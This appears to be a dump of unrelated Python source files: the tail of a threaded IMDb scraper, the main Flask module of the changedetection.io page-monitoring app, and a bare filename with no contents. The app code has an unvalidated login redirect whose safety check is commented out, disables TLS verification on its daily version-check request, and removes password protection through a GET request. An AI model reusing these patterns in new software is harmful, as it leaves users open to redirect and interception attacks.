temp = [] for div in tr.findAll('div', {'class': 'allText'}): if div: temp.append(div.text.strip()) else: continue if len(temp) != 3: continue rating_dict['rating_dist'][temp[0]] = (float(temp[1].replace('%', '')), int(temp[2].replace(',', ''))) # Demographic table (Ages and Sex) if len(tables) > 2: demog_table = tables[1] entry_col_names = [] # ['All_Ages', '<18', '18-29', '30-44', '45+'] for th in demog_table.find_all('th'): # Initialize age groups age_group = th.text.strip().replace(' ', '_').replace('-', '_').lower() if not age_group: continue entry_col_names.append(age_group) entry_counter = 0 current_row = '' # Represents Sex labels for td in demog_table.find_all('td'): # Table is 4x6 w/ labels, 3x5 w/o if td.div and td.div.attrs: entry = td.div if entry.attrs['class'] == ['allText']: # Sex Labels current_row = entry.div.text.strip().lower() if not output_tuples: rating_dict[current_row] = {} elif entry.attrs['class'] == ['bigcell']: col_pos = entry_counter % 5 rating = entry.text.strip().replace(',', '') if rating == '-': rating = None count = None elif entry.find_next_sibling('div'): count = int(entry.find_next_sibling('div').text.strip().replace(',', '')) rating = float(rating) if output_tuples: rating_dict[current_row, entry_col_names[col_pos]] = (rating, count) else: rating_dict[current_row][entry_col_names[col_pos]] = (rating, count) entry_counter += 1 # Regional Table (Top 1000 Votes, US Users, Non-Users) if len(tables) == 3: regional_table = tables[2] entry_col_names = [] for th in regional_table.find_all('th'): group = th.text.strip().replace(' ', '_').replace('-', '_').lower() if not group: continue entry_col_names.append(group) entry_counter = 0 for td in regional_table.find_all('td'): entry = td.text.strip().split() if td.div and td.div.attrs: entry = td.div if entry.attrs['class'] == ['bigcell']: rating = entry.text.strip().replace(',', '') if rating == '-': rating = None count = None elif entry.find_next_sibling('div'): count = int(entry.find_next_sibling('div').text.strip().replace(',', '')) rating = float(rating) rating_dict[entry_col_names[entry_counter]] = (rating, count) entry_counter += 1 return rating_dict def scrape_credits(self, id_code: str): credits_site = 'https://www.imdb.com/title/{}/{}'.format(id_code, 'fullcredits') page_html = page_parser(credits_site) section = '' tables = page_html.find('div', {'id': 'fullcredits_content'}) credits_dict = {} for table in tables.find_all(['h4', 'table']): if table.name == 'h4': section = table.text.strip().split('\n')[0] section_dict = {} if table.name == 'table': for tr in table.find_all('tr'): characters = [] name = '' code = '' for td in tr.find_all('td'): if td.attrs and list(td.attrs.keys())[0] == 'class': if td.attrs['class'][0] == 'primary_photo': continue elif td.attrs['class'][0] in ['character', 'credit']: if td.a: for a in td.find_all('a'): characters.append(a.text.strip()) else: characters.append(td.text.strip().replace('\n', '').replace(' ', '')) elif td.a: # Grabs Crew if list(td.a.attrs.keys())[0] == 'href': name = td.a.text.strip() code = td.a.attrs['href'].replace('/', ' ').split()[1] elif td.a: # Grabs 'Cast' - cast section doesnt have any td.attrs if list(td.a.attrs.keys())[0] == 'href': name = td.a.text.strip() code = td.a.attrs['href'].replace('/', ' ').split()[1] if code: section_dict[code] = (name, characters) credits_dict[section] = section_dict return credits_dict def scrape_release(self, id_code: str): release_site = 'https://www.imdb.com/title/{}/{}'.format(id_code, 'releaseinfo') page_html = page_parser(release_site) table = page_html.find('div', {'id': 'releaseinfo_content'}).table release_dict = {} for tr in table.find_all('tr'): country = tr.td.text.strip() for date_str in ['%d %B %Y', '%B %Y', '%Y']: try: release = dt.datetime.strptime(tr.td.findNext('td').text.strip(), date_str) break except ValueError: release = None release_dict[country] = release return {'country_release': release_dict} def scrape_locations(self, id_code): location_site = 'https://www.imdb.com/title/{}/{}'.format(id_code, 'locations') page_html = page_parser(location_site) locations_dict = {'locations': None, 'filming_dates': None} location_table = page_html.find('section', {'id': 'filming_locations'}) if location_table: locations = [] for div in location_table.find_all('div'): if div.dt: locations.append(div.dt.a.text.strip()) locations_dict['locations'] = locations date_table = page_html.find('section', {'id': 'filming_dates'}) if date_table: filming_dates = [] for li in date_table.find_all('li'): filming_dates.append(li.text.strip()) locations_dict['filming_dates'] = filming_dates return locations_dict def scrape_synopsis(self, id_code: str): summary_site = 'https://www.imdb.com/title/{}/{}'.format(id_code, 'plotsummary') page_html = page_parser(summary_site) ul = page_html.find('ul', {'id': 'plot-synopsis-content'}) if ul.li.attrs['id'] == 'no-synopsis-content': synopsis = None else: synopsis = ul.li.text.strip() return {'synopsis': synopsis} def scrape_parental(self, id_code): parental_site = 'https://www.imdb.com/title/{}/{}'.format(id_code, 'parentalguide') page_html = page_parser(parental_site) tr = page_html.find('tr', {'id': 'mpaa-rating'}) if tr and tr.td and tr.td.findNext('td'): mpaa = tr.td.findNext('td').text.strip() else: mpaa = None return {'mpaa': mpaa} def scrape_company_credits(self, id_code): company_credits_site = 'https://www.imdb.com/title/{}/{}'.format(id_code, 'companycredits') page_html = page_parser(company_credits_site) credits_table = page_html.find('div', {'id': 'company_credits_content'}) section_title = '' credits_dict = {} for section in credits_table.find_all(['h4', 'ul']): if section.name == 'h4': section_title = section.text.strip() elif section.name == 'ul': company_dict = {} for li in section.find_all('li'): if li.a and list(li.a.attrs.keys())[0] == 'href': name = ' '.join(li.text.strip().split()) code = li.a.attrs['href'].strip().replace('/', ' ').split()[1] company_dict[code] = name credits_dict[section_title] = company_dict return {'company_credits': credits_dict} def scrape_awards(self, id_code): awards_site = 'https://www.imdb.com/title/{}/{}'.format(id_code, 'awards') page_html = page_parser(awards_site) table = page_html.find('table', {'class': 'awards'}) agency = '' award_dict = {} if table: h3_table = table.parent.find_all(['h3', 'table']) for item in h3_table: if item.name == 'h3': agency_year = item.text.strip().split() agency = ' '.join(agency_year[:-1]) year = int(agency_year[-1].replace('(', '').replace(')', '')) elif item.tr and item.tr.td: outcome = item.find('td', {'class': 'title_award_outcome'}) if outcome and outcome.b and outcome.span: distinction = outcome.b.text.strip() award = outcome.span.text.strip() if distinction in award_dict.keys() and agency not in award_dict[distinction].keys(): award_dict[distinction][agency] = {} else: award_dict[distinction] = {} award_dict[distinction][agency] = {} td_all = item.find_all('td', {'class': 'award_description'}) if td_all: for td in td_all: category = td.text.strip().split('\n')[0] credit_dict = {} a_all = td.find_all('a') if a_all: for a in a_all: if a and list(a.attrs.keys())[0] == 'href': code = a.attrs['href'].strip().replace('/', ' ').split()[1] name = ' '.join(a.text.strip().split()) credit_dict[code] = name award_dict[distinction][agency][year] = (category, award, credit_dict) return award_dict def scrape_connections(self, id_code): connections_site = 'https://www.imdb.com/title/{}/{}'.format(id_code, 'movieconnections') page_html = page_parser(connections_site) connections_dict = {} table = page_html.find('div', {'id': 'connections_content'}) if table and table.div and table.div.attrs and 'id' not in list(table.div.attrs.keys()): item_all = table.find('div', {'class': 'list'}).find_all(['h4', 'div']) group = None for item in item_all: if item.name == 'h4': group = item.text.strip() connections_dict[group] = {} elif item.a and list(item.a.attrs.keys())[0] == 'href' and group is not None: code = item.a.attrs['href'].strip().replace('/', ' ').split()[1] name = ' '.join(item.a.text.strip().split()) connections_dict[group][code] = name return connections_dict def scrape_pages(self, id_code, q: queue.Queue = None): out_dict = {'id_code': id_code} scrape_funcs = [self.scrape_main, # self.scrape_reviews, # self.scrape_ratings, # self.scrape_credits, # self.scrape_release, # self.scrape_locations, # self.scrape_synopsis, # self.scrape_parental, # self.scrape_awards, # self.scrape_company_credits, # self.scrape_awards, self.scrape_connections] random.shuffle(scrape_funcs) take_pause(10, 60) for func in scrape_funcs: out_dict.update(func(id_code)) take_pause(5, 20) q.put(out_dict) # takes the a range of 7-digit codes for the IMDB title def _scrape_range(self, code_list, q): start_range = timeit.default_timer() for code in code_list: self.scrape_pages(code, q) end_range = timeit.default_timer() time_range = end_range - start_range logging.debug('Finished: {} - {}! ({} secs)'.format(code_list[0], code_list[-1], time_range)) def _dispatch_threads(self, id_list, block_size): random.shuffle(id_list) scrape_threads = [] logging.debug('Dispatching threads (Block size: {})'.format(block_size)) q = queue.Queue() num_ids = len(id_list) num_blocks = int(num_ids / block_size) + 1 # plus 1 for the final unfinished block for i in range(num_blocks): start = i * block_size end = (i + 1) * block_size if start >= num_ids: # block size evenly divided into num ids - start begins at 0 break elif end > num_ids: # last block sub_list = id_list[start:-1] else: sub_list = id_list[start:end] logging.debug('Starting thread: {} - {}...'.format(sub_list[0], sub_list[-1])) scrape_thread = threading.Thread(target=self._scrape_range, args=(sub_list, q)) scrape_threads.append(scrape_thread) scrape_thread.start() for scrape_thread in scrape_threads: scrape_thread.join() logging.debug('Done') self.movies = list(q.queue) def scrape(self, block_size=10): code_list = verify_code_list(self.movie_codes) if code_list: self._dispatch_threads(code_list, block_size=block_size) def movies_to_json(self, out_path='../output/movies.json'): with open(out_path, 'w') as f: json.dump(self.movies, f, default=json_util.default)
__init__.py
#!/usr/bin/python3 # @todo logging # @todo extra options for url like , verify=False etc. # @todo enable https://urllib3.readthedocs.io/en/latest/user-guide.html#ssl as option? # @todo option for interval day/6 hour/etc # @todo on change detected, config for calling some API # @todo fetch title into json # https://distill.io/features # proxy per check # - flask_cors, itsdangerous,MarkupSafe import time import os import timeago import flask_login from flask_login import login_required import threading from threading import Event import queue from flask import Flask, render_template, request, send_from_directory, abort, redirect, url_for, flash from feedgen.feed import FeedGenerator from flask import make_response import datetime import pytz from copy import deepcopy __version__ = '0.39.3' datastore = None # Local running_update_threads = [] ticker_thread = None extra_stylesheets = [] update_q = queue.Queue() notification_q = queue.Queue() # Needs to be set this way because we also build and publish via pip base_path = os.path.dirname(os.path.realpath(__file__)) app = Flask(__name__, static_url_path="{}/static".format(base_path), template_folder="{}/templates".format(base_path)) # Stop browser caching of assets app.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0 app.config.exit = Event() app.config['NEW_VERSION_AVAILABLE'] = False app.config['LOGIN_DISABLED'] = False #app.config["EXPLAIN_TEMPLATE_LOADING"] = True # Disables caching of the templates app.config['TEMPLATES_AUTO_RELOAD'] = True def init_app_secret(datastore_path): secret = "" path = "{}/secret.txt".format(datastore_path) try: with open(path, "r") as f: secret = f.read() except FileNotFoundError: import secrets with open(path, "w") as f: secret = secrets.token_hex(32) f.write(secret) return secret # Remember python is by reference # populate_form in wtfors didnt work for me. (try using a setattr() obj type on datastore.watch?) def populate_form_from_watch(form, watch): for i in form.__dict__.keys(): if i[0] != '_': p = getattr(form, i) if hasattr(p, 'data') and i in watch: setattr(p, "data", watch[i]) # We use the whole watch object from the store/JSON so we can see if there's some related status in terms of a thread # running or something similar. @app.template_filter('format_last_checked_time') def _jinja2_filter_datetime(watch_obj, format="%Y-%m-%d %H:%M:%S"): # Worker thread tells us which UUID it is currently processing. for t in running_update_threads: if t.current_uuid == watch_obj['uuid']: return "Checking now.." if watch_obj['last_checked'] == 0: return 'Not yet' return timeago.format(int(watch_obj['last_checked']), time.time()) # @app.context_processor # def timeago(): # def _timeago(lower_time, now): # return timeago.format(lower_time, now) # return dict(timeago=_timeago) @app.template_filter('format_timestamp_timeago') def _jinja2_filter_datetimestamp(timestamp, format="%Y-%m-%d %H:%M:%S"): return timeago.format(timestamp, time.time()) # return timeago.format(timestamp, time.time()) # return datetime.datetime.utcfromtimestamp(timestamp).strftime(format) class User(flask_login.UserMixin): id=None def set_password(self, password): return True def get_user(self, email="defaultuser@changedetection.io"): return self def is_authenticated(self): return True def is_active(self): return True def is_anonymous(self): return False def get_id(self): return str(self.id) def check_password(self, password): import hashlib import base64 # Getting the values back out raw_salt_pass = base64.b64decode(datastore.data['settings']['application']['password']) salt_from_storage = raw_salt_pass[:32] # 32 is the length of the salt # Use the exact same setup you used to generate the key, but this time put in the password to check new_key = hashlib.pbkdf2_hmac( 'sha256', password.encode('utf-8'), # Convert the password to bytes salt_from_storage, 100000 ) new_key = salt_from_storage + new_key return new_key == raw_salt_pass pass def changedetection_app(config=None, datastore_o=None): global datastore datastore = datastore_o #app.config.update(config or {}) login_manager = flask_login.LoginManager(app) login_manager.login_view = 'login' app.secret_key = init_app_secret(config['datastore_path']) # Setup cors headers to allow all domains # https://flask-cors.readthedocs.io/en/latest/ # CORS(app) @login_manager.user_loader def user_loader(email): user = User() user.get_user(email) return user @login_manager.unauthorized_handler def unauthorized_handler(): # @todo validate its a URL of this host and use that return redirect(url_for('login', next=url_for('index'))) @app.route('/logout') def logout(): flask_login.logout_user() return redirect(url_for('index')) # https://github.com/pallets/flask/blob/93dd1709d05a1cf0e886df6223377bdab3b077fb/examples/tutorial/flaskr/__init__.py#L39 # You can divide up the stuff like this @app.route('/login', methods=['GET', 'POST']) def login(): if not datastore.data['settings']['application']['password']: flash("Login not required, no password enabled.", "notice") return redirect(url_for('index')) if request.method == 'GET': output = render_template("login.html") return output user = User() user.id = "defaultuser@changedetection.io" password = request.form.get('password') if (user.check_password(password)): flask_login.login_user(user, remember=True) next = request.args.get('next') # if not is_safe_url(next): # return flask.abort(400) return redirect(next or url_for('index')) else: flash('Incorrect password', 'error') return redirect(url_for('login')) @app.before_request def do_something_whenever_a_request_comes_in(): # Disable password loginif there is not one set app.config['LOGIN_DISABLED'] = datastore.data['settings']['application']['password'] == False @app.route("/", methods=['GET']) @login_required def index(): limit_tag = request.args.get('tag') pause_uuid = request.args.get('pause') if pause_uuid: try: datastore.data['watching'][pause_uuid]['paused'] ^= True datastore.needs_write = True return redirect(url_for('index', tag = limit_tag)) except KeyError: pass # Sort by last_changed and add the uuid which is usually the key.. sorted_watches = [] for uuid, watch in datastore.data['watching'].items(): if limit_tag != None: # Support for comma separated list of tags. for tag_in_watch in watch['tag'].split(','): tag_in_watch = tag_in_watch.strip() if tag_in_watch == limit_tag: watch['uuid'] = uuid sorted_watches.append(watch) else: watch['uuid'] = uuid sorted_watches.append(watch) sorted_watches.sort(key=lambda x: x['last_changed'], reverse=True) existing_tags = datastore.get_all_tags() rss = request.args.get('rss') if rss: fg = FeedGenerator() fg.title('changedetection.io') fg.description('Feed description') fg.link(href='https://changedetection.io') for watch in sorted_watches: if not watch['viewed']: # Re #239 - GUID needs to be individual for each event # @todo In the future make this a configurable link back (see work on BASE_URL https://github.com/dgtlmoon/changedetection.io/pull/228) guid = "{}/{}".format(watch['uuid'], watch['last_changed']) fe = fg.add_entry() fe.title(watch['url']) fe.link(href=watch['url']) fe.description(watch['url']) fe.guid(guid, permalink=False) dt = datetime.datetime.fromtimestamp(int(watch['newest_history_key'])) dt = dt.replace(tzinfo=pytz.UTC) fe.pubDate(dt) response = make_response(fg.rss_str()) response.headers.set('Content-Type', 'application/rss+xml') return response else: from changedetectionio import forms form = forms.quickWatchForm(request.form) output = render_template("watch-overview.html", form=form, watches=sorted_watches, tags=existing_tags, active_tag=limit_tag, has_unviewed=datastore.data['has_unviewed']) return output @app.route("/scrub", methods=['GET', 'POST']) @login_required def scrub_page(): import re if request.method == 'POST': confirmtext = request.form.get('confirmtext') limit_date = request.form.get('limit_date') limit_timestamp = 0 # Re #149 - allow empty/0 timestamp limit if len(limit_date): try: limit_date = limit_date.replace('T', ' ') # I noticed chrome will show '/' but actually submit '-' limit_date = limit_date.replace('-', '/') # In the case that :ss seconds are supplied limit_date = re.sub('(\d\d:\d\d)(:\d\d)', '\\1', limit_date) str_to_dt = datetime.datetime.strptime(limit_date, '%Y/%m/%d %H:%M') limit_timestamp = int(str_to_dt.timestamp()) if limit_timestamp > time.time(): flash("Timestamp is in the future, cannot continue.", 'error') return redirect(url_for('scrub_page')) except ValueError: flash('Incorrect date format, cannot continue.', 'error') return redirect(url_for('scrub_page')) if confirmtext == 'scrub': changes_removed = 0 for uuid, watch in datastore.data['watching'].items(): if limit_timestamp: changes_removed += datastore.scrub_watch(uuid, limit_timestamp=limit_timestamp) else: changes_removed += datastore.scrub_watch(uuid) flash("Cleared snapshot history ({} snapshots removed)".format(changes_removed)) else: flash('Incorrect confirmation text.', 'error') return redirect(url_for('index')) output = render_template("scrub.html") return output # If they edited an existing watch, we need to know to reset the current/previous md5 to include # the excluded text. def get_current_checksum_include_ignore_text(uuid): import hashlib from changedetectionio import fetch_site_status # Get the most recent one newest_history_key = datastore.get_val(uuid, 'newest_history_key') # 0 means that theres only one, so that there should be no 'unviewed' history availabe if newest_history_key == 0: newest_history_key = list(datastore.data['watching'][uuid]['history'].keys())[0] if newest_history_key: with open(datastore.data['watching'][uuid]['history'][newest_history_key], encoding='utf-8') as file: raw_content = file.read() handler = fetch_site_status.perform_site_check(datastore=datastore) stripped_content = handler.strip_ignore_text(raw_content, datastore.data['watching'][uuid]['ignore_text']) checksum = hashlib.md5(stripped_content).hexdigest() return checksum return datastore.data['watching'][uuid]['previous_md5'] @app.route("/edit/<string:uuid>", methods=['GET', 'POST']) @login_required def edit_page(uuid): from changedetectionio import forms form = forms.watchForm(request.form) # More for testing, possible to return the first/only if uuid == 'first': uuid = list(datastore.data['watching'].keys()).pop() if request.method == 'GET': if not uuid in datastore.data['watching']: flash("No watch with the UUID %s found." % (uuid), "error") return redirect(url_for('index')) populate_form_from_watch(form, datastore.data['watching'][uuid]) if datastore.data['watching'][uuid]['fetch_backend'] is None: form.fetch_backend.data = datastore.data['settings']['application']['fetch_backend'] if request.method == 'POST' and form.validate(): # Re #110, if they submit the same as the default value, set it to None, so we continue to follow the default if form.minutes_between_check.data == datastore.data['settings']['requests']['minutes_between_check']: form.minutes_between_check.data = None if form.fetch_backend.data == datastore.data['settings']['application']['fetch_backend']: form.fetch_backend.data = None update_obj = {'url': form.url.data.strip(), 'minutes_between_check': form.minutes_between_check.data, 'tag': form.tag.data.strip(), 'title': form.title.data.strip(), 'headers': form.headers.data, 'fetch_backend': form.fetch_backend.data, 'trigger_text': form.trigger_text.data, 'notification_title': form.notification_title.data, 'notification_body': form.notification_body.data, 'extract_title_as_title': form.extract_title_as_title.data } # Notification URLs datastore.data['watching'][uuid]['notification_urls'] = form.notification_urls.data # Ignore text form_ignore_text = form.ignore_text.data datastore.data['watching'][uuid]['ignore_text'] = form_ignore_text # Reset the previous_md5 so we process a new snapshot including stripping ignore text. if form_ignore_text: if len(datastore.data['watching'][uuid]['history']): update_obj['previous_md5'] = get_current_checksum_include_ignore_text(uuid=uuid) datastore.data['watching'][uuid]['css_filter'] = form.css_filter.data.strip() # Reset the previous_md5 so we process a new snapshot including stripping ignore text. if form.css_filter.data.strip() != datastore.data['watching'][uuid]['css_filter']: if len(datastore.data['watching'][uuid]['history']): update_obj['previous_md5'] = get_current_checksum_include_ignore_text(uuid=uuid) datastore.data['watching'][uuid].update(update_obj) flash("Updated watch.") # Queue the watch for immediate recheck update_q.put(uuid) if form.trigger_check.data: n_object = {'watch_url': form.url.data.strip(), 'notification_urls': form.notification_urls.data, 'notification_title': form.notification_title.data, 'notification_body' : form.notification_body.data } notification_q.put(n_object) flash('Notifications queued.') # Diff page [edit] link should go back to diff page if request.args.get("next") and request.args.get("next") == 'diff': return redirect(url_for('diff_history_page', uuid=uuid)) else: return redirect(url_for('index')) else: if request.method == 'POST' and not form.validate(): flash("An error occurred, please see below.", "error") # Re #110 offer the default minutes using_default_minutes = False if form.minutes_between_check.data == None: form.minutes_between_check.data = datastore.data['settings']['requests']['minutes_between_check'] using_default_minutes = True output = render_template("edit.html", uuid=uuid, watch=datastore.data['watching'][uuid], form=form, using_default_minutes=using_default_minutes ) return output @app.route("/settings", methods=['GET', "POST"]) @login_required def settings_page(): from changedetectionio import forms from changedetectionio import content_fetcher form = forms.globalSettingsForm(request.form) if request.method == 'GET': form.minutes_between_check.data = int(datastore.data['settings']['requests']['minutes_between_check']) form.notification_urls.data = datastore.data['settings']['application']['notification_urls'] form.extract_title_as_title.data = datastore.data['settings']['application']['extract_title_as_title'] form.fetch_backend.data = datastore.data['settings']['application']['fetch_backend'] form.notification_title.data = datastore.data['settings']['application']['notification_title'] form.notification_body.data = datastore.data['settings']['application']['notification_body'] form.base_url.data = datastore.data['settings']['application']['base_url'] # Password unset is a GET if request.values.get('removepassword') == 'yes': from pathlib import Path datastore.data['settings']['application']['password'] = False flash("Password protection removed.", 'notice') flask_login.logout_user() return redirect(url_for('settings_page')) if request.method == 'POST' and form.validate(): datastore.data['settings']['application']['notification_urls'] = form.notification_urls.data datastore.data['settings']['requests']['minutes_between_check'] = form.minutes_between_check.data datastore.data['settings']['application']['extract_title_as_title'] = form.extract_title_as_title.data datastore.data['settings']['application']['fetch_backend'] = form.fetch_backend.data datastore.data['settings']['application']['notification_title'] = form.notification_title.data datastore.data['settings']['application']['notification_body'] = form.notification_body.data datastore.data['settings']['application']['notification_urls'] = form.notification_urls.data datastore.data['settings']['application']['base_url'] = form.base_url.data if form.trigger_check.data and len(form.notification_urls.data): n_object = {'watch_url': "Test from changedetection.io!", 'notification_urls': form.notification_urls.data, 'notification_title': form.notification_title.data, 'notification_body': form.notification_body.data } notification_q.put(n_object) flash('Notifications queued.') if form.password.encrypted_password: datastore.data['settings']['application']['password'] = form.password.encrypted_password flash("Password protection enabled.", 'notice') flask_login.logout_user() return redirect(url_for('index')) datastore.needs_write = True flash("Settings updated.") if request.method == 'POST' and not form.validate(): flash("An error occurred, please see below.", "error") output = render_template("settings.html", form=form) return output @app.route("/import", methods=['GET', "POST"]) @login_required def import_page(): import validators remaining_urls = [] good = 0 if request.method == 'POST': urls = request.values.get('urls').split("\n") for url in urls: url_tag = url.split(";") url = url_tag[0] if(len(url_tag) > 1): tag_val = url_tag[1] else: tag_val = "" url = url.strip() if len(url) and validators.url(url): new_uuid = datastore.add_watch(url=url.strip(), tag=tag_val) # Straight into the queue. update_q.put(new_uuid) good += 1 else: if len(url): remaining_urls.append(url) flash("{} Imported, {} Skipped.".format(good, len(remaining_urls))) if len(remaining_urls) == 0: # Looking good, redirect to index. return redirect(url_for('index')) # Could be some remaining, or we could be on GET output = render_template("import.html", remaining="\n".join(remaining_urls) ) return output # Clear all statuses, so we do not see the 'unviewed' class @app.route("/api/mark-all-viewed", methods=['GET']) @login_required def mark_all_viewed(): # Save the current newest history as the most recently viewed for watch_uuid, watch in datastore.data['watching'].items(): datastore.set_last_viewed(watch_uuid, watch['newest_history_key']) flash("Cleared all statuses.") return redirect(url_for('index')) @app.route("/diff/<string:uuid>", methods=['GET']) @login_required def diff_history_page(uuid): # More for testing, possible to return the first/only if uuid == 'first': uuid = list(datastore.data['watching'].keys()).pop() extra_stylesheets = [url_for('static_content', group='styles', filename='diff.css')] try: watch = datastore.data['watching'][uuid] except KeyError: flash("No history found for the specified link, bad link?", "error") return redirect(url_for('index')) dates = list(watch['history'].keys()) # Convert to int, sort and back to str again dates = [int(i) for i in dates] dates.sort(reverse=True) dates = [str(i) for i in dates] if len(dates) < 2: flash("Not enough saved change detection snapshots to produce a report.", "error") return redirect(url_for('index')) # Save the current newest history as the most recently viewed datastore.set_last_viewed(uuid, dates[0]) newest_file = watch['history'][dates[0]] with open(newest_file, 'r') as f: newest_version_file_contents = f.read() previous_version = request.args.get('previous_version') try: previous_file = watch['history'][previous_version] except KeyError: # Not present, use a default value, the second one in the sorted list. previous_file = watch['history'][dates[1]] with open(previous_file, 'r') as f: previous_version_file_contents = f.read() output = render_template("diff.html", watch_a=watch, newest=newest_version_file_contents, previous=previous_version_file_contents, extra_stylesheets=extra_stylesheets, versions=dates[1:], uuid=uuid, newest_version_timestamp=dates[0], current_previous_version=str(previous_version), current_diff_url=watch['url'], extra_title=" - Diff - {}".format(watch['title'] if watch['title'] else watch['url']), left_sticky= True ) return output @app.route("/preview/<string:uuid>", methods=['GET']) @login_required def preview_page(uuid): # More for testing, possible to return the first/only if uuid == 'first': uuid = list(datastore.data['watching'].keys()).pop() extra_stylesheets = [url_for('static_content', group='styles', filename='diff.css')] try: watch = datastore.data['watching'][uuid] except KeyError: flash("No history found for the specified link, bad link?", "error") return redirect(url_for('index')) newest = list(watch['history'].keys())[-1] with open(watch['history'][newest], 'r') as f: content = f.readlines() output = render_template("preview.html", content=content, extra_stylesheets=extra_stylesheets, current_diff_url=watch['url'], uuid=uuid) return output @app.route("/favicon.ico", methods=['GET']) def favicon(): return send_from_directory("/app/static/images", filename="favicon.ico") # We're good but backups are even better! @app.route("/backup", methods=['GET']) @login_required def get_backup(): import zipfile from pathlib import Path # Remove any existing backup file, for now we just keep one file for previous_backup_filename in Path(app.config['datastore_path']).rglob('changedetection-backup-*.zip'): os.unlink(previous_backup_filename) # create a ZipFile object backupname = "changedetection-backup-{}.zip".format(int(time.time())) # We only care about UUIDS from the current index file uuids = list(datastore.data['watching'].keys()) backup_filepath = os.path.join(app.config['datastore_path'], backupname) with zipfile.ZipFile(backup_filepath, "w", compression=zipfile.ZIP_DEFLATED, compresslevel=8) as zipObj: # Be sure we're written fresh datastore.sync_to_json() # Add the index zipObj.write(os.path.join(app.config['datastore_path'], "url-watches.json"), arcname="url-watches.json") # Add the flask app secret zipObj.write(os.path.join(app.config['datastore_path'], "secret.txt"), arcname="secret.txt") # Add any snapshot data we find, use the full path to access the file, but make the file 'relative' in the Zip. for txt_file_path in Path(app.config['datastore_path']).rglob('*.txt'): parent_p = txt_file_path.parent if parent_p.name in uuids: zipObj.write(txt_file_path, arcname=str(txt_file_path).replace(app.config['datastore_path'], ''), compress_type=zipfile.ZIP_DEFLATED, compresslevel=8) # Create a list file with just the URLs, so it's easier to port somewhere else in the future list_file = os.path.join(app.config['datastore_path'], "url-list.txt") with open(list_file, "w") as f: for uuid in datastore.data['watching']: url = datastore.data['watching'][uuid]['url'] f.write("{}\r\n".format(url)) # Add it to the Zip zipObj.write(list_file, arcname="url-list.txt", compress_type=zipfile.ZIP_DEFLATED, compresslevel=8) return send_from_directory(app.config['datastore_path'], backupname, as_attachment=True) @app.route("/static/<string:group>/<string:filename>", methods=['GET']) def static_content(group, filename): # These files should be in our subdirectory try: return send_from_directory("static/{}".format(group), filename=filename) except FileNotFoundError: abort(404) @app.route("/api/add", methods=['POST']) @login_required def api_watch_add(): from changedetectionio import forms form = forms.quickWatchForm(request.form) if form.validate(): url = request.form.get('url').strip() if datastore.url_exists(url): flash('The URL {} already exists'.format(url), "error") return redirect(url_for('index')) # @todo add_watch should throw a custom Exception for validation etc new_uuid = datastore.add_watch(url=url, tag=request.form.get('tag').strip()) # Straight into the queue. update_q.put(new_uuid) flash("Watch added.") return redirect(url_for('index')) else: flash("Error") return redirect(url_for('index')) @app.route("/api/delete", methods=['GET']) @login_required def api_delete(): uuid = request.args.get('uuid') datastore.delete(uuid) flash('Deleted.') return redirect(url_for('index')) @app.route("/api/clone", methods=['GET']) @login_required def api_clone(): uuid = request.args.get('uuid') new_uuid = datastore.clone(uuid) update_q.put(new_uuid) flash('Cloned.') return redirect(url_for('index')) @app.route("/api/checknow", methods=['GET']) @login_required def api_watch_checknow(): tag = request.args.get('tag') uuid = request.args.get('uuid') i = 0 running_uuids = [] for t in running_update_threads: running_uuids.append(t.current_uuid) # @todo check thread is running and skip if uuid: if uuid not in running_uuids: update_q.put(uuid) i = 1 elif tag != None: # Items that have this current tag for watch_uuid, watch in datastore.data['watching'].items(): if (tag != None and tag in watch['tag']): if watch_uuid not in running_uuids and not datastore.data['watching'][watch_uuid]['paused']: update_q.put(watch_uuid) i += 1 else: # No tag, no uuid, add everything. for watch_uuid, watch in datastore.data['watching'].items(): if watch_uuid not in running_uuids and not datastore.data['watching'][watch_uuid]['paused']: update_q.put(watch_uuid) i += 1 flash("{} watches are rechecking.".format(i)) return redirect(url_for('index', tag=tag)) # @todo handle ctrl break ticker_thread = threading.Thread(target=ticker_thread_check_time_launch_checks).start() threading.Thread(target=notification_runner).start() # Check for new release version threading.Thread(target=check_for_new_version).start() return app # Check for new version and anonymous stats def check_for_new_version(): import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) while not app.config.exit.is_set(): try: r = requests.post("https://changedetection.io/check-ver.php", data={'version': __version__, 'app_guid': datastore.data['app_guid'], 'watch_count': len(datastore.data['watching']) }, verify=False) except: pass try: if "new_version" in r.text: app.config['NEW_VERSION_AVAILABLE'] = True except: pass # Check daily app.config.exit.wait(86400) def notification_runner(): while not app.config.exit.is_set(): try: # At the moment only one thread runs (single runner) n_object = notification_q.get(block=False) except queue.Empty: time.sleep(1) else: # Process notifications try: from changedetectionio import notification notification.process_notification(n_object, datastore) except Exception as e: print("Watch URL: {} Error {}".format(n_object['watch_url'], e)) # Thread runner to check every minute, look for new watches to feed into the Queue. def ticker_thread_check_time_launch_checks(): from changedetectionio import update_worker # Spin up Workers. for _ in range(datastore.data['settings']['requests']['workers']): new_worker = update_worker.update_worker(update_q, notification_q, app, datastore) running_update_threads.append(new_worker) new_worker.start() while not app.config.exit.is_set(): # Get a list of watches by UUID that are currently fetching data running_uuids = [] for t in running_update_threads: if t.current_uuid: running_uuids.append(t.current_uuid) # Re #232 - Deepcopy the data incase it changes while we're iterating through it all copied_datastore = deepcopy(datastore) # Check for watches outside of the time threshold to put in the thread queue. for uuid, watch in copied_datastore.data['watching'].items(): # If they supplied an individual entry minutes to threshold. if 'minutes_between_check' in watch and watch['minutes_between_check'] is not None: # Cast to int just incase max_time = int(watch['minutes_between_check']) * 60 else: # Default system wide. max_time = int(copied_datastore.data['settings']['requests']['minutes_between_check']) * 60 threshold = time.time() - max_time # Yeah, put it in the queue, it's more than time. if not watch['paused'] and watch['last_checked'] <= threshold: if not uuid in running_uuids and uuid not in update_q.queue: update_q.put(uuid) # Wait a few seconds before checking the list again time.sleep(3) # Should be low so we can break this out in testing app.config.exit.wait(1)
cifar100_to_mr.py
